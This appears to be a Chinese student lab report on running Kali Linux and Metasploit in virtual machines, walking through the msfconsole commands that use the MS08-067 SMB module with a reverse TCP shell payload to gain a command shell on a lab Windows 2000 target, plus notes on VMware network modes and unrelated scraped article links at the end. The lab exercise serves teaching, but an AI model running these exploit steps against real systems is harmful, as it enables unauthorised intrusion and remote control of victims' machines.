一、实验内容

1.使用kali进行靶机的漏洞扫描,利用metasploit选择其中的一个漏洞进行攻击,并获取权限。

2.分析攻击的原理以及获取了什么样的权限。

二、实验要求

1.熟悉kali原理和使用方法。

2.认真操作,详细记录实验过程和实验结果。

三、实验工具

笔记本电脑一台,安装parallels desktop虚拟机,安装kali和靶机系统windows10。另外安装了vmware虚拟机,安装kali和靶机系统windows2000。

四、实验步骤

(一)pd虚拟机下搭建渗透测试环境

1.在pd虚拟机下安装kali攻击机系统以及windows10靶机系统。

Kali是一个linux系统,Kali Linux预装了许多渗透测试软件,包括nmap (端口扫描器)、Wireshark (数据包分析器)、John the Ripper (密码破解器),以及Aircrack-ng (一应用于对无线局域网进行渗透测试的软件).用户可通过硬盘、live CD或live USB运行Kali Linux。Metasploit的Metasploit Framework支持Kali Linux,Metasploit一套针对远程主机进行开发和执行Exploit代码的工具。

2.在parallels desktop中设置两台虚拟机网络为共享网络模式(若是vmware虚拟机则是nat模式),自动分配IP地址,之后两台虚拟机就可以直接ping通。

(1)靶机ip地址获取:在cmd中输入ipconfig,获取ip地址为10.211.55.3。

(2)攻击机ip地址获取:在shell中输入ifconfig,获取ip地址为10.211.55.4。

(3)可见,两台虚拟机处于同一网段下,可以互相ping通。


一般来说在unix或linux系统中会一直ping下去,这时按快捷键Ctrl+Z或Ctrl+C均可停止ping。

(4)补充说明“vmware下虚拟机的三种网络模式”

a.桥接。桥接网络是指本地物理网卡和虚拟网卡通过VMnet0虚拟交换机进行桥接,物理网卡和虚拟网卡在拓扑图上处于同等地位,那么物理网卡和虚拟网卡就相当于处于同一个网段,虚拟交换机就相当于一台现实网络中的交换机,所以两个网卡的IP地址也要设置为同一网段。

b.NAT。NAT模式中,就是让虚拟机借助NAT(网络地址转换)功能,通过宿主机器所在的网络来访问公网。NAT模式中,虚拟机的网卡和物理网卡的网络,不在同一个网络,虚拟机的网卡是在vmware提供的一个虚拟网络。

NAT和桥接的比较: NAT模式和桥接模式虚拟机都可以上外网;由于NAT的网络在vmware提供的一个虚拟网络里,所以局域网其他主机是无法访问虚拟机的,而宿主机可以访问虚拟机,虚拟机可以访问局域网的所有主机,因为真实的局域网相对于NAT的虚拟网络,就是NAT的虚拟网络的外网,不懂的人可以查查NAT的相关知识;桥接模式下,多个虚拟机之间可以互相访问;NAT模式下,多个虚拟机之间也可以相互访问。

c.Host-Only。在Host-Only模式下,虚拟网络是一个全封闭的网络,它唯一能够访问的就是主机。其实Host-Only网络和NAT网络很相似,不同的地方就是Host-Only网络没有NAT服务,所以虚拟网络不能连接到Internet。主机和虚拟机之间的通信是通过VMware Network Adepter VMnet1虚拟网卡来实现的。

(二)vmware下搭建渗透测试环境

在按步骤进行攻击操作后(详细步骤见第三部分),发现作为靶机的win10系统无漏洞可攻击,于是改用老师所给的靶机系统进行试验,在vmware虚拟机下操作。

1.vmware下安装kali

这里注意其中一步操作“将GRUB安装至硬盘-将GRUB启动引导器安装到主引导记录吗?-是”后,“安装启动引导器的设备”不能空着,可填写dev-sda,否则可能出现安装linux后黑屏只出现光标的现象。

2.设置网络模式

设置虚拟机下的kali和windows靶机系统为nat模式。其中设置靶机ip地址为192.168.87.131,攻击机ip地址为192.168.87.129,且互相都可以ping通。



(三)MS08_067远程漏洞攻击实践

1.在kali终端中开启msfconsole。

2.输入命令search ms08_067,会显示出找到的渗透模块,如下图所示:

3.输入命令use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用。

4.输入命令show payloads会显示出有效的攻击载荷,比如shell_reverse_tcp。

5.命令show targets会显示出可以被攻击的靶机的操作系统型号,如下图所示:

6.使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷。

7.输入命令show options显示我们需要在攻击前需要设置的数据。

8.输入命令set LHOST "kali Ip",即set LHOST 192.168.87.129;set RHOST "Win Ip",即set RHOST 192.168.87.131。

使用命令show options再次查看payload状态。

9.输入命令exploit开始攻击,如下图所示是正常攻击成功结果。

10.在kali上执行ipconfig/all得到如下图所示:

在win 2000上执行同样的命令(所得与上图相同)如下图所示:

11.输入“netstat -a”命令,可以查看靶机开启了哪些端口。

12.输入“netstat -n”命令, 查看靶机端口的网络连接情况。

五、思考

1.原理分析

MS08_067漏洞是著名的远程溢出漏洞,影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。本次实验就是metasploit利用ms08_067漏洞对win2000虚拟机进行渗透测试。

MS08_067是一个在windows445号端口上的漏洞,需要事先查看该端口是否开放,这里使用“nmap -PS 靶机ip”语句发现445号端口开放。因此可以使用MS08_067漏洞进行exploit。

2.实验拓展

本次实验获得了靶机的cmdshell,除了实验中展示的几种操作,还可以进行新建用户、截屏、记录键盘输入、获取ruby交互界面、进程迁移、安装成服务等等许多操作。今后还可以对浏览器、客户端等方面的攻击进行拓展实践。

实验三 kali下metasploit的漏洞攻击实践的更多相关文章

  1. 2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践

    2017-2018-2 20155228 <网络对抗技术> 实验三:MAL_免杀原理与实践 实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasi ...

  2. 20172310 2017-2018-2 《程序设计与数据结构》实验三报告(敏捷开发与XP实践)

    20172310 2017-2018-2 <程序设计与数据结构>实验三报告(敏捷开发与XP实践) 课程:<程序设计与数据结构> 班级: 1723 姓名: 仇夏 学号:20172 ...

  3. 基于Kali的一次DDos攻击实践

    镜像下载.域名解析.时间同步请点击 阿里云开源镜像站 一.什么是DDos攻击 DDOS(Distributed Denial of Service),即分布式拒绝服务,是一种针对于网络服务的攻击行为. ...

  4. 利用foo函数的Bof漏洞攻击:构造攻击字符串

    利用foo函数的Bof漏洞攻击:构造攻击字符串 一.基础知识储备 objdump反汇编指令.gdb函数调试运行.Perl语言.|管道符 二.实验步骤 1. 通过反汇编了解程序功能及代码 ①反汇编查看文 ...

  5. MS08_067漏洞渗透攻击实践

    MS08_067漏洞渗透攻击实践 实验前准备 1.两台虚拟机,其中一台为kali,一台为windows xp sp3(英文版). 2.在VMware中设置两台虚拟机网络为NAT模式,自动分配IP地址, ...

  6. 20145314郑凯杰 《Java程序设计》实验三 敏捷开发与XP实践实验报告

    20145314郑凯杰 <Java程序设计>实验二 实验报告 实验要求 完成实验.撰写实验报告,实验报告以博客方式发表在博客园,注意实验报告重点是运行结果,遇到的问题(工具查找,安装,使用 ...

  7. MSF MS11-050/10-087/Adobe攻击实践及内存保护技术

    MSF MS11-050/10-087/Adobe攻击实践及内存保护技术 内存攻击指的是攻击者利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位 ...

  8. MSF MS11-050攻击实践及内存保护技术

    内存攻击指的是攻击者利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流,转而执行外部输入的指令代码,造成目标系统被获取远程 ...

  9. Metasploit的使用下篇——漏洞攻击

    一.上文总结 上篇当中主要通过开启的端口对目标主机进行攻击,最后成功做到了连接不过却不能查看到telnet的登陆用户名和密码,目前来看有两个原因:第一.我对于靶机telnet的设置有问题,没有设置相应 ...

随机推荐

  1. 纪念一下我的第一个php扩展

    C扩展代码 生成 so扩展文件( 很多文章介绍 生成so时候 喜欢用 # phpize ./configure ...... 刚开始掉进坑里面出不来 就是因为把这两个命令看成了一个 phpize ./ ...

  2. HDU 4347 The Closest M Points (kdTree)

    赤果果的kdTree. 学习传送门:http://www.cnblogs.com/v-July-v/archive/2012/11/20/3125419.html 其实就是二叉树的变形 #includ ...

  3. Python基础篇 -- 小数据池和再谈编码

    小数据池 1. id() 通过id()可以查看到一个变量表示的值在内存中的地址 s = "Agoni" print(id(s)) # 2410961093272 2. is 和 = ...

  4. numpy中tile函数

    tile函数位于python模块numpy.lib.shape_base中,他的功能是重复某个数组. 函数的形式是tile(A,reps) 函数参数说明中提到A和reps都是array_like的,什 ...

  5. PAT (Basic Level) Practise (中文)-1027. 打印沙漏(20)

    PAT (Basic Level) Practise (中文)-1027. 打印沙漏(20)  http://www.patest.cn/contests/pat-b-practise/1027 本题 ...

  6. ios之UITabelViewCell的自定义(代码实现)

    在用到UITableVIew的时候,经常会自定义每行的Cell 在IOS控件UITableView详解中的下面代码修改部分代码就可以实现自定义的Cell了 [cpp] view plaincopy - ...

  7. CentOS7服务器上部署Oracle客户端

    环境 操作系统: CentOS7.2.1511 x86_64 准备安装包 在这个网站:https://www.oracle.com/technetwork/topics/linuxx86-64soft ...

  8. [LUOGU] P1828 香甜的黄油 Sweet Butter

    题目描述 农夫John发现做出全威斯康辛州最甜的黄油的方法:糖.把糖放在一片牧场上,他知道N(1<=N<=500)只奶牛会过来舔它,这样就能做出能卖好价钱的超甜黄油.当然,他将付出额外的费 ...

  9. C语言获取Shell返回结果

    Linux编程时候,如果我们需要调用shell命令或脚本通常使用system方法.如system("ls") 该方法返回值为0或-1,即成功或失败.而有的时候我们想要获取shell ...

  10. verilog behaviral modeling -- procedural timing contronls

    1.delay control : an expression specifies the time duration between initially encountering the state ...